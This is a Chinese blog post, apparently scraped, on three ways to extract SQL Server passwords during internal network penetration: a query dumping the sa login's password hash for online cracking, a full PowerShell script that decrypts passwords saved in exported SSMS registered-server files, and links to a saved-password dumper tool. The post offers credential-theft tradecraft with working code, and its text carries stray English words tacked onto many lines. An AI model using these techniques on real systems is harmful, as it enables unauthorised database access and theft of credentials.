三种方式获取SSMS链接密码

内网渗透是有的时候会遇到对方SSMS没断开链接正连着别的机器的mssql此时有两种方法能够获取sa密码html

当密码强度较弱时可使用第一只方式,第一种方式解不开的状况下可使用后面二种方式git

1.直接查询sa密码hash

使用以下语句:github

Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'sql

直接获得sa密码hashshell

image.png

上cmd5解密服务器

image.png

2.使用SSMS的注册导出功能

右键点击,而后选择注册ide

image.png

点击保存sqlserver

image.png

点击识图而后点击已注册服务器post

image.png

而后右键选择任务,而后导出ui

image.png

这个记得别勾,点肯定

image.png

而后使用powershell脚本解密

param( [Parameter(Mandatory=$true)] [string] $FileName ) Add-Type -AssemblyName System.Security $ErrorActionPreference = 'Stop' function Unprotect-String([string] $base64String) { return [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } $document = [xml] (Get-Content $FileName) $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable) $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08') $attr = $document.DocumentElement.GetAttribute('plainText') if ($attr -ne '' -and $Operation -ieq 'Decrypt') { throw "The file does not contain encrypted passwords." } $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm) foreach ($server in $servers) { $connString = $server.ConnectionStringWithEncryptedPassword.InnerText echo "" echo "Encrypted Connection String:" echo $connString echo "" if ($connString -inotmatch 'password="?([^";]+)"?') {continue} $password = $Matches[1] $password = Unprotect-String $password echo "" echo "Decrypted Connection String:" $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`"" echo $connString echo "" } 

image.png

3.导出SSMS记住的密码

http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html

https://github.com/zcgonvh/SSMSPwd

相关文章
相关标签/搜索